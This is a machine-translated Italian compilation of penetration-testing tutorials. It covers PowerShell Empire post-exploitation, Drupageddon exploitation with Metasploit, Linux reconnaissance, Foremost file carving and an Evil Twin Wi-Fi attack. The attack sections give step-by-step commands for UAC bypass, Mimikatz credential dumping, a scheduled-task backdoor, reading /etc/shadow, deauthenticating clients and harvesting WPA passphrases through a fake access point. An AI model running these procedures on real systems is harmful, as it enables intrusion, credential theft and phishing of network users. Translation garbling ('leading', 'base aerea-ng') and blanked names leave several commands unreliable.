Non appena fai clic sul pulsante Esegui, otterrai immediatamente la connessione shell TCP Reverse e potrai fare qualsiasi cosa con il tuo computer di destinazione.

Post sfruttamento con PowerShell Empire 2.3.0 [Tutorial dettagliato]

   

La fase di post-sfruttamento inizia dopo che hai compromesso uno o più sistemi ma non sei ancora vicino al completamento. Lo sfruttamento post è sempre una componente critica in qualsiasi test di penetrazione. È qui che ti distingui dall'hacker medio e ordinario e in realtà fornisci informazioni e informazioni preziose dal tuo test di penetrazione.

Il post-exploit prende di mira sistemi specifici, identifica infrastrutture critiche e prende di mira informazioni o dati che l'azienda apprezza maggiormente e che ha tentato di proteggere. Quando sfrutti un sistema dopo l'altro, stai cercando di dimostrare gli attacchi che avrebbero il maggiore impatto sul business.

Il post sfruttamento è uno di quegli scenari complicati in cui devi prenderti il ​​tempo per imparare quali informazioni sono a tua disposizione e quindi utilizzare tali informazioni a tuo vantaggio. Un utente malintenzionato in genere trascorre una notevole quantità di tempo in un sistema compromesso facendo lo stesso.

Post sfruttamento con Empire 2.3.0 –

Empire è un framework post-exploitation che include un agente Windows Pure-PowerShell2.0 e un agente Linux/OS X Python 2.6/2.7 puro. È l'unione dei precedenti progetti PowerShell Empire e Python EmPyre.

Il framework offre comunicazioni crittograficamente sicure e un'architettura flessibile. Per quanto riguarda PowerShell, Empire implementa la capacità di eseguire agenti PowerShell senza bisogno di powershell.exe, moduli post-exploitation rapidamente distribuibili che vanno dai key logger a Mimikatz e comunicazioni adattabili per eludere il rilevamento della rete, il tutto racchiuso in un framework incentrato sull'usabilità.

Lo strumento di installazione di Empire può essere eseguito con l'aiuto di git digitando il seguente comando:

Comando: git clone https://github.com/EmpireProject/Empire.git

[#] Installazione -

Successivamente, vai alla directory di installazione ( cd setup/ ) e assegna le autorizzazioni eseguibili al file di installazione digitando " chmod +x install.sh " e quindi esegui il programma di installazione ./install.sh come mostrato di seguito:

L'intero processo di installazione richiede 2-5 minuti a seconda della velocità di Internet. Dopo un po', il programma di installazione ti chiede anche di inserire una password di negoziazione del server oppure puoi semplicemente premere Invio per generare una password casuale per questo caso.

Non appena si preme Invio, l'installazione sarà completata e sia il certificato che la chiave privata saranno scritti nella directory /data .

Torna alla directory principale di Empire e dai i permessi eseguibili a Empire digitando " chmod +x empire " e quindi esegui ./empire .

Sotto lo schermo c'è la schermata di benvenuto di Empire Project che mostra chiaramente che sono presenti 285 moduli che includono ascoltatori, agenti, mimikatz ecc.

Per vedere i moduli disponibili, digitare usemodule [tab] . Per cercare i nomi/descrizioni dei moduli, utilizzare searchmodule privesc e verranno restituiti i nomi/descrizioni dei moduli corrispondenti.

La prima cosa che devi fare è configurare un ascoltatore locale. Il comando listener ti porterà al menu di gestione del listener.

Verranno visualizzati tutti i listener attivi e queste informazioni possono essere visualizzate nuovamente in qualsiasi momento con il comando list.

Il comando uselistener ti permetterà di selezionare il tipo di listener. Premendo TAB dopo questo comando verranno visualizzati tutti i tipi di listener disponibili. Quindi, in questo caso, useremo il modulo http listener che puoi usare digitando " uselistener http " e poi digita " execute " per eseguire.

Ma sembra che la tua porta 80 sia occupata da qualche altra parte :(, quindi devi terminare i servizi attivi in ​​esecuzione sulla porta 80 digitando il seguente comando:

Comando:  sudo kill `sudo lsof -t -i:80`

E poi esegui di nuovo il modulo listener digitando " esegui " e ora il tuo listener è avviato correttamente.

Per visualizzare tutti gli ascoltatori attivi, il comando è " ascoltatori ".

Successivamente è necessario generare uno script PowerShell con l'aiuto di Launcher digitando " Launcher PowerShell http "

Il comando precedente genererà uno script PowerShell che devi eseguire sul tuo sistema di destinazione remoto con qualsiasi mezzo (tramite Meterpreter o tramite RDP {se hai già eliminato le credenziali})

In questo caso, stiamo utilizzando lo strumento rdesktop per ottenere l'accesso desktop remoto della macchina Windows 7.

Comando: rdesktop -u <nome utente> -p <password> <IP di destinazione>

Apri il CMD e incolla l'intero script PowerShell come mostrato di seguito:

Torna a Empire Terminal, vedrai che verrà inizializzato un nuovo agente attivo.

Per vedere tutti gli agenti disponibili, digita " agenti " che elenca tutti gli agenti con tutti i dettagli come nome dell'agente (nome generato casualmente), IP interno, nome macchina, nome utente e processo ecc.

Successivamente puoi anche rinominare questo agente appena creato digitando " rename <oldagent name> <newagent name> " come mostrato di seguito:

Quindi il nostro nuovo nome agente è " YeahWin7 " (puoi usare qualsiasi nome a tua scelta).

Proviamo a interagire con questo agente digitando " interact YeahWin7 " e digitando " info " per visualizzare maggiori dettagli sul sistema operativo di destinazione.

Qui è necessario prestare attenzione al fatto che il valore high_integrity di questo agente è 0 , il che significa che non è possibile eseguire tutti i comandi amministrativi.

Per elevare tutti i privilegi, è necessario eseguire un altro modulo " bypassuac http " che aggirerà tutte le restrizioni.

Ora torna indietro e digita " lista" per visualizzare nuovamente tutti gli agenti. E qui puoi vedere che viene nuovamente creato un nuovo agente con un nome casuale.

Ripeti lo stesso passaggio per rinominare questo agente appena creato solo per la tua comodità e interagisci con questo nuovo agente con il comando interact.

Ora digita il comando " info " per visualizzare tutte le informazioni necessarie e puoi vedere che il valore di high_integrity diventa 1 , significa che ora sei Super Admin.

[#] Raccolta credenziali –

Digita " creds " per recuperare tutte le password in chiaro sul tuo computer di destinazione. Ma sembra che sia vuoto.

Quindi è il momento di eseguire " mimikatz " per estrarre tutte le credenziali in un formato di testo in chiaro.

Mimikatz è uno degli strumenti ben noti per estrarre dalla memoria password in chiaro, hash, codice PIN e ticket kerberos.

Ora digita di nuovo " creds " per visualizzare tutte le credenziali scaricate.

A questo punto, la tua prima fase di Post Exploitation è terminata, ma puoi fare tante altre cose con Empire.

Digita " help " per vedere tutte le scelte disponibili.

[#] Persistenza Backdooring –

Successivamente, non è importante per un buon pentester, ma è sempre una buona opzione per creare una backdoor persistente nella macchina di destinazione.

Per creare una backdoor persistente useremo il modulo schtasks in Empire.

Comando: usemodule persistence/elevated/schtasks*

L'utilità dell'interfaccia della riga di comando Schtasks.exe consente a un amministratore di creare, eliminare, eseguire query, modificare, eseguire e terminare attività pianificate in un sistema locale o remoto tramite la shell dei comandi. Ecco una panoramica della sintassi e dei parametri.

Ora imposta il tuo modulo di ascolto http ad ogni avvio di Windows.

Comando: set OnLogon True
Comando: set Listener http
Comando: execute

Recupero file usando Foremost [Kali Linux]

   

Foremost è un programma di console per recuperare i file in base alle loro intestazioni, piè di pagina e strutture di dati interne. Questo processo è comunemente indicato come intaglio dei dati. Foremost può lavorare su file immagine, come quelli generati da dd, Safeback, Encase, ecc., o direttamente su un'unità.

Le intestazioni e i piè di pagina possono essere specificati da un file di configurazione oppure è possibile utilizzare le opzioni della riga di comando per specificare i tipi di file incorporati. Questi tipi incorporati esaminano le strutture dei dati di un determinato formato di file consentendo un ripristino più affidabile e veloce.

Esempi –

Preparazione per il set di dati –

Nel primo passaggio, crea una directory vuota per i file recuperati digitando " mkdir <folder name> " e dai i permessi 777 con chmod 777 <folder name> .

I set di dati nelle indagini digitali e nella ricerca forense sono generalmente costituiti da un'immagine forense di un dispositivo bersaglio; ad esempio, una copia bit per bit del disco rigido di un computer. Tuttavia, per valutare correttamente gli strumenti di file carving e produrre risultati affidabili, è essenziale una conoscenza dettagliata dei dati contenuti nel set di dati.

Pertanto, sono stati utilizzati set di dati basati su scopi specifici per testare gli strumenti di intaglio dei file. Ogni set di dati dispone di un'ampia documentazione che include i seguenti dettagli:

Il set di dati che stiamo usando in questa demo è Basic Data Carving Test che puoi facilmente scaricare da sourceforge.net  in formato zip.

Cos'è il Data Carving? Il data carving è l'arte nera di creare ordine dal caos. La teoria è che si prende un blob di dati elettronici, lo si cerca per le firme dei file che potrebbero indicare documenti ed e-mail creati dall'utente, quindi si "ritagliano" quei dati dal blob nella migliore ipotesi del software su come il file era Aspetto.

Passare alla directory Download e decomprimere il file digitando " unzip <nome file> " come mostrato di seguito che estrae il file .dd finale di cui abbiamo bisogno come input per il primo.

Installazione di Foremost –

Per visualizzare ulteriori informazioni su leading , puoi aprire la guida digitando " man first " come mostrato di seguito:

La sintassi per l'utilizzo di leading è:

Comando: principal -i <tuo file dd> -o <cartella di output> -v

Dove, -v è per la modalità dettagliata o per -t puoi anche definire il nome dell'estensione che vuoi recuperare come " -t jpeg " e " -t all " è per tutte le estensioni.

Nel nostro caso, il nostro file dd si trova in /root/Downloads/11-carve-fat/11-carve-fat.dd .

Comando finale: leading -i /root/Downloads/11-carve-fat/11-carve-fat.dd -o       -recovery -v

Nota: assicurati che la tua directory di output sia completamente vuota, altrimenti incontrerà sicuramente problemi.

Qui puoi vedere che, lo strumento più importante ha recuperato tutti i file dall'immagine .dd e ben riassunti sullo schermo con tutti i dettagli possibili come nome, numero, dimensione, offset file e commento ecc.

Una volta che leading ha completato il processo di intaglio, è possibile visualizzare il report finale che si trova nella cartella       -recovery (nel nostro caso) con nome audit.txt e può essere visualizzato digitando " cat audit.txt ".

Se apri la directory di output, puoi vedere gli elementi scolpiti, classificati per tipo di file, ad esempio JPEG, WAV, MP3 ecc., Insieme a un file audit.txt, che contiene i dettagli dei risultati come mostrato sopra.

Altre tecniche di intaglio di file - (dalla fonte )

1. Carving basato su intestazione: i file hanno intestazioni univoche, note anche come numeri magici o firme di file. Questi valori univoci possono essere utilizzati per aiutare a identificare l'inizio di un file e aiutare a scolpire i file senza i metadati corrispondenti. L'intaglio dell'intestazione-piè di pagina è la tecnica di intaglio più basilare che cerca nei dati modelli che contrassegnano un'intestazione distinta (indicatore di inizio del file) e un piè di pagina (indicatore di fine del file)

Il processo si ottiene estraendo tutti i dati contenuti nelle intestazioni e nei piè di pagina e copiando tali dati in un file esterno. Una tecnica di intaglio alternativa basata sull'intestazione è l'intaglio della dimensione massima dell'intestazione. Quando viene rilevata un'intestazione (senza alcun valore di piè di pagina disponibile), viene utilizzata la dimensione massima del carve per calcolare quanto potrebbe essere lontana dall'intestazione la fine del file.

Poiché alcuni tipi di file possono variare notevolmente in termini di dimensioni, questa tecnica può avere risultati diversi e può anche aumentare la dimensione necessaria per archiviare i file recuperati.
Tuttavia, rimane un approccio praticabile perché molti formati di file (ad es. JPEG, MP3) non sono interessati se vengono aggiunti dati aggiuntivi alla fine di un file valido. Un'altra tecnica di intaglio basata sull'intestazione è l'intaglio della lunghezza incorporato nell'intestazione. Alcuni formati di file hanno informazioni interne sul file che specificano la lunghezza o la dimensione del file e forniscono un punto identificato per il piè di pagina del file.

2. File Structure Carving: un'altra tecnica di file carving si basa sulla struttura interna di un file, dove la conoscenza specifica del contenuto può aiutare a
ricostruire il file originale. L'intaglio della struttura dei file è principalmente finalizzato all'assemblaggio di file frammentati, dove l'intaglio basato su intestazione non riesce a ricostruire più frammenti di file. Un esempio sono gli intagliatori semantici (noti anche come intagliatori profondi) che utilizzano le informazioni sulla struttura interna del file per controllare in qualche modo il processo di intaglio.

3. Intaglio basato su blocchi: una tecnica di intaglio avanzata è l'intaglio basato su blocchi che calcola le meta informazioni del contenuto di un blocco di dati; ad esempio, implementando il conteggio dei caratteri o calcolando informazioni statistiche. La premessa è che i sistemi informatici utilizzano blocchi di dimensioni fisse (settori) per l'archiviazione dei dati (di solito 512 byte) e gli autori di file possono esaminare ogni blocco per ogni definizione di tipo di file.

4. Convalida del file: il metodo di convalida del file è un aspetto integrale del processo di intaglio del file. La convalida fornisce la conferma che i dati scolpiti risultano effettivamente in un output di file valido. Pertanto, un validatore di formato automatico è una funzione che accetta un blocco di dati e quindi determina se è conforme alla struttura definita del formato di file prima di generare un file convalidato.

Sfruttamento di Drupal 7 con Metasploit Framework [SQL Injection]

   

Drupal 7 include un'API di astrazione del database per garantire che le query eseguite sul database vengano disinfettate per prevenire attacchi di SQL injection.

Una vulnerabilità in questa API consente a un utente malintenzionato di inviare richieste appositamente predisposte con conseguente esecuzione SQL arbitraria . A seconda del contenuto delle richieste, ciò può portare all'escalation dei privilegi, all'esecuzione arbitraria di PHP o ad altri attacchi e questa vulnerabilità può essere facilmente sfruttata da qualsiasi utente anonimo.

Leggi anche: Alla scoperta di Drupalgeddon 2

Di solito i team Drupal fanno un ottimo lavoro per garantire un ragionevole livello di sicurezza ai propri utenti. La maggior parte delle vulnerabilità critiche di Drupal provengono dai moduli della comunità, moduli ospitati in un luogo centrale dove quelli non conformi ai requisiti di sicurezza di Drupal ricevono uno specifico banner rosso.

Tuttavia, gli errori si verificano ancora, come ha scoperto Stefan Horst nel 2014 quando ha scoperto la vulnerabilità Drupageddon , nota anche come CVE-2014-3704 e Drupal SA-CORE-2014-005 .

Sfruttamento con Metasploit Framework –

[#] Passaggio 1: avviare il framework metasploit digitando il comando " msfconsole " nel terminale.

Metasploit viene aggiornato spesso a causa delle continue scoperte di nuove vulnerabilità. Mantieni aggiornata l'installazione di metasploit usando apt o msfupdate per assicurarti di avere i moduli più recenti per il test della penna.

[#] Passaggio 2: ora cerca i moduli e gli exploit relativi a drupal utilizzando il comando di ricerca come mostrato di seguito:

Comando: cerca drupal

Il modulo che sfrutta la Drupal HTTP Parameter Key/Value SQL Injection è  Drupageddon . Questo modulo è stato testato con Drupal 7.0 e 7.31 (è stato corretto in 7.32) .

Sono disponibili due metodi per attivare il payload PHP sulla destinazione:

Di default il valore di TARGET è 0.

Per utilizzare il modulo drupageddon, il comando è:

Comando: usa exploit/multi/http/drupal_drupageddon

Impostiamo RHOST sull'indirizzo IP della VM in cui è installato drupal su http://10.228.13.93/drupal/ che è in esecuzione sulla porta  80

Comando: set RHOST <IP di destinazione>
Comando: set RHOST <Porta>
Comando: set TARGETURI <Percorso>

Non appena si esegue l'exploit, si aprirà immediatamente una sessione meterpreter contro la macchina di destinazione come mostrato di seguito:

Ricognizione del sistema Linux [I migliori comandi di Linux]

   

Nei primi anni '90 i sistemi GNU/Linux consistevano in poco più di un kernel Linux di qualità beta e una piccola collezione di software portati dal progetto GNU. Era il sistema operativo di un vero hacker. Non c'erano strumenti di installazione da CD-ROM o GUI; tutto doveva essere compilato e configurato dall'utente finale.

Come tutti i test di penetrazione, un attacco di ingegneria sociale inizia con attività di footprinting e ricognizione. Più informazioni raccogli sull'organizzazione target, più opzioni diventano disponibili per te.

La ricognizione passiva comporta sempre la raccolta di informazioni su un potenziale obiettivo all'insaputa dell'individuo o dell'azienda mirata. La ricognizione passiva può essere semplice come osservare un edificio per identificare a che ora i dipendenti entrano nell'edificio e quando escono.

Tuttavia, di solito viene fatto utilizzando ricerche su Internet o cercando su Google un individuo o un'azienda per ottenere informazioni. Questo processo è generalmente chiamato raccolta di informazioni. Anche l'ingegneria sociale e l'immersione nei cassonetti sono considerati metodi passivi di raccolta di informazioni.

Leggi anche: I 20 migliori comandi di Kali Linux | 157 Comandi di base di Linux

Lo sniffing della rete è un altro mezzo di ricognizione passiva e può fornire informazioni utili come intervalli di indirizzi IP, convenzioni di denominazione, server o reti nascosti e altri servizi disponibili sul sistema o sulla rete. Lo sniffing del traffico di rete è simile al monitoraggio degli edifici: un hacker osserva il flusso di dati per vedere a che ora avvengono determinate transazioni e dove sta andando il traffico.

La ricognizione attiva  comporta il sondaggio della rete per scoprire singoli host, indirizzi IP e servizi sulla rete. Questo di solito comporta un rischio maggiore di rilevamento rispetto alla ricognizione passiva ed è talvolta chiamato
tintinnare le maniglie delle porte. La ricognizione attiva può fornire a un hacker un'indicazione delle misure di sicurezza in atto (la porta d'ingresso è chiusa a chiave?), ma il processo aumenta anche la possibilità di essere scoperto o almeno di destare sospetti.

Sia la ricognizione passiva che quella attiva possono portare alla scoperta di informazioni utili da utilizzare in un attacco. Ad esempio, in genere è facile trovare il tipo di server Web e il numero di versione del sistema operativo utilizzato da un'azienda. Queste informazioni possono consentire a un hacker di trovare una vulnerabilità in quella versione del sistema operativo e sfruttare la vulnerabilità per ottenere più accesso.

[#1] uname -a comando fornisce informazioni relative al nome del kernel, nodo di rete, versione di rilascio, nome hardware/piattaforma, tipo di processore e nome del sistema operativo.

Il comando [#2] cat /etc/*-release fornisce informazioni sulla versione della distribuzione Linux in esecuzione.

Il comando [#3] cat /proc/version mostra la versione del kernel e la versione di gcc utilizzate per compilare lo stesso.

[#4] Il comando cat /etc/profile viene utilizzato per impostare le variabili ambientali a livello di sistema sulle shell utente.

[#5] Il comando cat .profile viene utilizzato per stampare la shell degli utenti sul sistema Linux.

[#6] Il comando cat ps -aux  elenca fondamentalmente il numero ID del processo (PID), l'utilizzo della CPU, l'utilizzo della memoria, il tempo totale della CPU per ciascun processo sul sistema.

[#7] Il comando ls -al /usr/bin elenca il contenuto della directory /usr/bin.

[#8] Il comando mysql -v viene utilizzato per visualizzare il terminale MySQL in modalità dettagliata, dove -V fornisce la versione del server MySQL.

[#9] Il comando apache2 -v  fornisce le informazioni del server apache2.

[#10] Il comando cat /etc/sysctl.conf viene utilizzato per visualizzare il contenuto del file sysctl.conf che è un semplice file contenente valori sysctl da leggere e impostare da sysctl.

sysctl è un'interfaccia che consente di apportare modifiche a un kernel Linux in esecuzione. Con /etc/sysctl.conf puoi configurare varie impostazioni di rete e di sistema di Linux.

[#11] Il comando crontab -l  viene utilizzato per visualizzare il file crontab, se disponibile, che viene utilizzato per eseguire i comandi in una data e un'ora specifiche.

Il comando [#12] cat /etc/sudoers  viene utilizzato per visualizzare il contenuto del file sudoers utilizzato per allocare i diritti di sistema agli utenti del sistema.

Il file sudoers contiene le informazioni relative ai privilegi per diversi utenti e gruppi del nostro server. È uno dei file più importanti del sistema e deve essere maneggiato con cura.

[#13] Il comando cat /etc/passwd viene utilizzato per visualizzare il contenuto del file passwd che viene utilizzato per tenere traccia di ogni utente registrato che ha accesso a un sistema.

Il file /etc/passwd è un file separato da due punti che contiene le seguenti informazioni:

E se vuoi filtrare un singolo utente, il comando è: cat /etc/passwd | radice grep

[#14] cat /etc/shadow file è il file effettivo che memorizza la password effettiva in formato crittografato per l'account dell'utente con proprietà aggiuntive relative alla password dell'utente.

E per l'estrazione singola, il comando è: cat /etc/shadow | radice grep

[#15] Il comando cat /var/lib/mysql/mysql/user.MYD viene utilizzato per visualizzare il contenuto di user.MYD che memorizza gli hash delle password e i database su un sistema Linux.

[#16] cat /etc/apache2/apache2.conf file è il file di configurazione principale predefinito del server Apache che contiene le direttive di configurazione che danno al server le sue istruzioni.

[#17] Il comando python –version  fornisce la versione di Python installata nel sistema.

[#18] Il comando gcc -v viene utilizzato per ottenere le informazioni del compilatore gcc.

La GNU Compiler Collection è un sistema di compilazione prodotto dal Progetto GNU che supporta vari linguaggi di programmazione. GCC è un componente chiave della catena di strumenti GNU e il compilatore standard per la maggior parte dei sistemi operativi simili a Unix.

[#19] Il comando ifconfig -a  fornisce le informazioni di tutte le interfacce di rete sul sistema (non solo quelle attualmente attive).

Il comando [#20] route  viene utilizzato per visualizzare il contenuto corrente delle tabelle di routing.

[#21] cat /etc/resolv.conf  è il nome di un file di computer utilizzato in vari sistemi operativi per configurare il resolver DNS (Domain Name System) del sistema.

Il file è un file di testo normale solitamente creato dall'amministratore di rete o da applicazioni che gestiscono le attività di configurazione del sistema.

Il comando [#22] hostname viene utilizzato per visualizzare il nome host corrente o il nome di dominio del computer, ovvero identificabile in modo univoco su una rete.

[#23] Il comando netstat -antup  è utile per visualizzare informazioni relative alle connessioni di rete, sia in entrata che in uscita, tabelle di instradamento, statistiche dell'interfaccia, problemi di sicurezza, connessioni e così via.

Comando Netstat che supporta Linux, Unix e il sistema operativo Windows.

[#24] Il comando iptables -L elenca le regole correnti in iptables.

[#25] cat /etc/ssh/ssh_config  file è il file di configurazione a livello di sistema per OpenSSH che consente di impostare opzioni che modificano il funzionamento dei programmi client.

Evil Twin Attack con DNSMASQ – Wireless WPA2-PSK Cracking

   

Hai mai sentito parlare di un AP gemello malvagio?

Un AP gemello malvagio è come un punto di accesso canaglia. L'attaccante crea un falso punto di accesso wireless per indurre gli utenti a pensare che si tratti di una rete wireless affidabile. Amplificano il loro segnale in un modo in cui il client si connetterà automaticamente a loro perché i beacon sono più veloci e più vicini nel raggio d'azione. Strumenti come Honeypot, CqureAP, D-Link G200, HermesAP, Rogue Squadron e WifiBSD possono eseguire questi attacchi.

L'AP gemello malvagio è un punto di accesso che sembra e si comporta proprio come un AP legittimo e invita l'utente finale a connettersi al nostro punto di accesso. La nostra suite aircrack-ng ha uno strumento, airbase-ng , che può essere utilizzato per convertire il nostro adattatore wireless in un punto di accesso. Questo è un potente hack lato client che ci consentirà di vedere tutto il traffico dal client, condurre un attacco man-in-the-middle e può persino violare la chiave della rete wireless.

Nella società odierna, vediamo molti più utenti che vengono compromessi, specialmente nelle posizioni Wi-Fi pubbliche. Potrebbe esserci una rete wireless aperta, una crittografia debole o semplici problemi di fiducia. Ma prima di iniziare, probabilmente avrai bisogno dell'attrezzatura adeguata per seguire la dimostrazione di Evil Twin Attack:

Hardware utilizzato –

Strumenti richiesti –

Assicurati di dover eseguire il comando apt-get update che aggiorna l'elenco dei pacchetti disponibili e le loro versioni, ma non installa o aggiorna alcun pacchetto.

apt-get upgrade installa effettivamente le versioni più recenti dei pacchetti che hai.

Passaggio 1: installare il pacchetto dnsmasq direttamente digitando " apt-get install dnsmasq -y ".

Dnsmasq fornisce l'infrastruttura di rete per le piccole reti: DNS, DHCP, annuncio del router e avvio di rete. È progettato per essere leggero e avere un ingombro ridotto, adatto a router e firewall con risorse limitate.

È stato anche ampiamente utilizzato per il tethering su smartphone e hotspot portatili e per supportare il networking virtuale nei framework di virtualizzazione. Le piattaforme supportate includono Linux (con glibc e uclibc), Android, *BSD e Mac OS X. Dnsmasq è incluso nella maggior parte delle distribuzioni Linux e nei sistemi di porting di FreeBSD, OpenBSD e NetBSD.

Se il pacchetto dnsmasq è già installato nel tuo computer, puoi saltare questo passaggio.

Passaggio 2: crea un file di configurazione per dnsmasq con l'aiuto dell'editor gedit (il nostro editor grafico preferito) e aggiungi il seguente codice come mostrato di seguito:

Comando: sudo gedit /root/Desktop/dnsmasq.conf

Codice:

interface=at0
dhcp-range=10.0.0.10,10.0.0.250,12h
dhcp-option=3,10.0.0.1
dhcp-option=6,10.0.0.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0 .0.1

Passaggio 3: prima di abilitare la modalità monitor, assicurati che airmon-ng e NetworkManager non entrino in conflitto tra loro, altrimenti devi uccidere il gestore di rete o ripetere l'intero processo.

Apri il file di configurazione del gestore di rete e inserisci l'indirizzo MAC del dispositivo che vuoi che il gestore di rete smetta di gestire:

Comando: gedit /etc/NetworkManager/NetworkManager.conf

Ora aggiungi quanto segue alla fine del file:

[keyfile]
dispositivi non gestiti:mac=AA:BB:CC:DD:EE:FF, A2:B2:C2:D2:E2:F2

NetworkManager.conf è un file di configurazione per NetworkManager. Viene utilizzato per impostare vari aspetti del comportamento di NetworkManager. La posizione del file può essere modificata tramite l'uso dell'argomento “ –config= ” per NetworkManager.

Passaggio 4: collegare l'adattatore wireless USB e confermarlo con l'aiuto del  comando iwconfig .

Qui puoi vedere una nuova interfaccia chiamata  wlan0  (potrebbe essere diversa per te).

In questo caso, stiamo utilizzando l'adattatore USB TP-LINK ma puoi utilizzare qualsiasi adattatore wireless come Alfa Card, D-Link, Netgear ecc.

Con il comando " ifconfig wlan0 up " si attiva l'interfaccia wireless.

Passaggio 5: metti la tua scheda in modalità monitor digitando " airmon-ng start wlan0 "

Verrà creata una nuova interfaccia ( wlan0mon nel nostro caso), che è il nome dell'interfaccia che dovrai utilizzare in altre applicazioni.

Passaggio 6: ora è il momento di avviare il monitoraggio di tutti i pacchetti AIR con l'aiuto del seguente comando:

Comando: airodump-ng wlan0mon

Airodump-ng viene utilizzato per l'acquisizione di pacchetti di frame 802.11 non elaborati ed è particolarmente adatto per la raccolta di WEP IV (Initialization Vector) allo scopo di utilizzarli con aircrack-ng.

Le cose di cui abbiamo bisogno dall'output del comando sopra sono:

Dove BSSID è l'indirizzo MAC del punto di accesso e ESSID è il nome della rete wireless, il cosiddetto SSID, che può essere vuoto se l'SSID è in modalità nascosta.

Passaggio 7: se facciamo tutto bene, possiamo clonare il suo AP e farlo connettere al nostro gemello malvagio. Quando lo fa, saremo in grado di vedere tutto il suo traffico, oltre a inserire potenzialmente i nostri pacchetti/messaggi/codice nel suo computer.

Per creare un falso AP con airbase-ng, digita il seguente comando nel nuovo terminale:

Comando: base aerea-ng -e "      " -c 7 wlan0mon

Airbase-ng è uno strumento multiuso volto ad attaccare i client anziché l'Access Point (AP) stesso. Dal momento che è così versatile e flessibile, riassumerlo è una sfida.

Verrà creata una nuova interfaccia tap at0 , che funge da "lato cablato" per l'AP. Per utilizzare l'AP, questa nuova interfaccia deve essere attivata con ifconfig e necessita di un IP.

Il MAC assegnato viene impostato automaticamente sul BSSID [per impostazione predefinita, il MAC dell'interfaccia wireless]. Una volta assegnato un IP e il client utilizza un IP statico dalla stessa sottorete, esiste una connessione Ethernet funzionante tra l'AP e il client. Qualsiasi demone può essere assegnato a quell'interfaccia, ad esempio un server dhcp e dns.

Insieme all'ip_forwarding del kernel ea una regola iptable adeguata per il mascheramento, l'AP funge da router wireless.

Passaggio 8: affinché at0 allochi l'indirizzo IP, è necessario assegnare prima un intervallo IP a se stesso.

Comando: ifconfig at0 10.0.0.1 up

Ora useremo la nostra interfaccia Internet predefinita, eth0, per instradare tutto il traffico dal client attraverso di essa. In altre parole, consentire alla vittima di accedere a Internet e consentire a noi stessi (attaccante) di annusare quel traffico.

Per questo useremo l'utilità iptables per impostare una regola del firewall per instradare tutto il traffico esclusivamente attraverso at0.

Comando: iptables –flush
Comando: iptables –table nat –append POSTROUTING –out-interface eth0 -j MASQUERADE
Comando: iptables –append FORWARD –in-interface at0 -j ACCEPT

Per impostazione predefinita, tutte le moderne distribuzioni Linux avranno l'inoltro IP disabilitato. Questa è normalmente una buona idea, poiché la maggior parte delle persone non avrà bisogno dell'inoltro IP, ma se stiamo configurando un router/gateway Linux o forse un server VPN (pptp o ipsec) o solo un semplice server dial-in allora avremo bisogno di abilitare l'inoltro.

L'inserimento di "1" nel file ip_forward dirà al sistema di abilitare le regole definite nelle tabelle IP e di avviare l'inoltro del traffico (se presente).

Comando: echo 1 > /proc/sys/net/ipv4/ip_forward

Passaggio 9:  il nostro attacco Evil Twin è ora pronto e le regole sono state abilitate, ora avvieremo il server dhcp per consentire al falso AP di allocare l'indirizzo IP ai client.

Avvia il listener DHCPD con l'aiuto dello strumento dnsmasq digitando il seguente comando:

Comando: dnsmasq -C /root/Desktop/dnsmasq.conf -d

Se mostra qualche tipo di errore relativo a "dnsmasq: impossibile creare il socket di ascolto per la porta 53: indirizzo già in uso" come mostrato di seguito:

Quindi è necessario trovare il numero ID del processo e terminare tutti i processi relativi a tale ID processo.

Comando: netstat -anlp | grep -w LISTEN
Comando: sudo ps -f -p 1975
Comando: sudo kill 1975

Dopo aver terminato il processo, ripetere lo stesso comando. Dovrebbe funzionare ora!

Passaggio 10: il passaggio successivo consiste nell'avviare i servizi Apache e MySQL digitando i seguenti comandi:

Comando: /etc/init.d/apache2 start
Comando: /etc/init.d/mysql start

Passaggio 11:  il nostro vettore di attacco Evil Twin è attivo e funziona perfettamente. Ora dobbiamo impostare il nostro sito falso in azione in modo che la vittima veda la pagina durante la navigazione e inserisca la passphrase che usa per il suo punto di accesso.

Per fare ciò, scarica il seguente file zip con l'aiuto del comando wget nella directory /var/www/html.

Comando: cd /var/www/html
Comando: wget https://www.     /wp-content/uploads/        /09/      -ap.zip

Passaggio 12: ora decomprimi il file       -ap.zip scaricato sopra digitando:

Comando: unzip       -ap.zip

Il comando precedente estrarrà il contenuto del file       -ap.zip e lo copierà nella directory html di Apache in modo che quando la vittima apre il browser verrà automaticamente reindirizzato alla pagina Web index.html predefinita .

Passo 13 –  Ora per memorizzare le credenziali inserite dalla vittima nella pagina html, abbiamo bisogno di un database SQL.

Vedrai un file dbconnect.php per questo, ma per essere effettivo hai bisogno di un database già creato in modo che dbconnect.php rifletta le modifiche nel DB.

Apri il terminale e digita: mysql -u root -p

Passaggio 14: crea un nuovo utente fakeap e password fakeap  digitando il seguente comando:

Comando: crea l'utente fakeap@localhost identificato da 'fakeap';

Passaggio 15: ora crea un nuovo database con il nome  rogue_AP  digitando:

Comando: crea database rogue_AP;

E per usare quel tipo di database “ use rogue_AP; "

Passaggio 16: il passaggio successivo consiste nel creare una tabella di nome  wpa_keys in cui verranno salvate tutte le password immesse dall'utente.

Comando:  crea la tabella wpa_keys(password1 varchar(32), password2 varchar(32));

Passaggio 17: quindi concedere tutte le autorizzazioni all'utente fakeap.

Comando: concedi tutti i privilegi su rogue_AP.* a 'fakeap'@'localhost';

Passaggio 18: esci da MySQL e connettiti con l'utente fakeap digitando:

Comando: mysql -u fakeap -p

Anche qui la password è fakeap

Passaggio 19: selezionare il database rogue_AP digitando:

Comando: usa rogue_AP;

E inserisci una voce fittizia nella tabella wpa_keys solo per il test:

Comando:  inserire in wpa_keys(password1, password2) i valori (“testpass”, “testpass”);

E per visualizzare il contenuto della tabella wpa_keys, il comando è:

Comando: selezionare * da wpa_keys;

Si noti che entrambi i valori sono uguali qui, ciò significa che la password e la password di conferma dovrebbero essere le stesse.

Il nostro attacco è ora pronto, aspetta solo che il client si connetta e vedi arrivare le credenziali.

In alcuni casi il tuo client potrebbe essere già connesso all'AP originale. Devi disconnettere il client come abbiamo fatto nei tutorial precedenti usando l'utility aireplay-ng.

Passaggio 20: per deautenticare i client attivi, il comando è:

Comando: aireplay-ng –deauth 0 -a <BSSID> wlan0mon

–deauth 0 significa Richieste di deautenticazione illimitate ma puoi anche limitare la richiesta inserendo numeri naturali.

Non appena un client si connette al tuo AP, vedrai un'attività nella finestra del terminale airbase-ng come questa:

Passaggio 21:  ora per simulare il lato client, abbiamo collegato il fakeAP (        ) su un altro laptop Windows e utilizzando un browser Web Firefox per illustrare l'attacco.

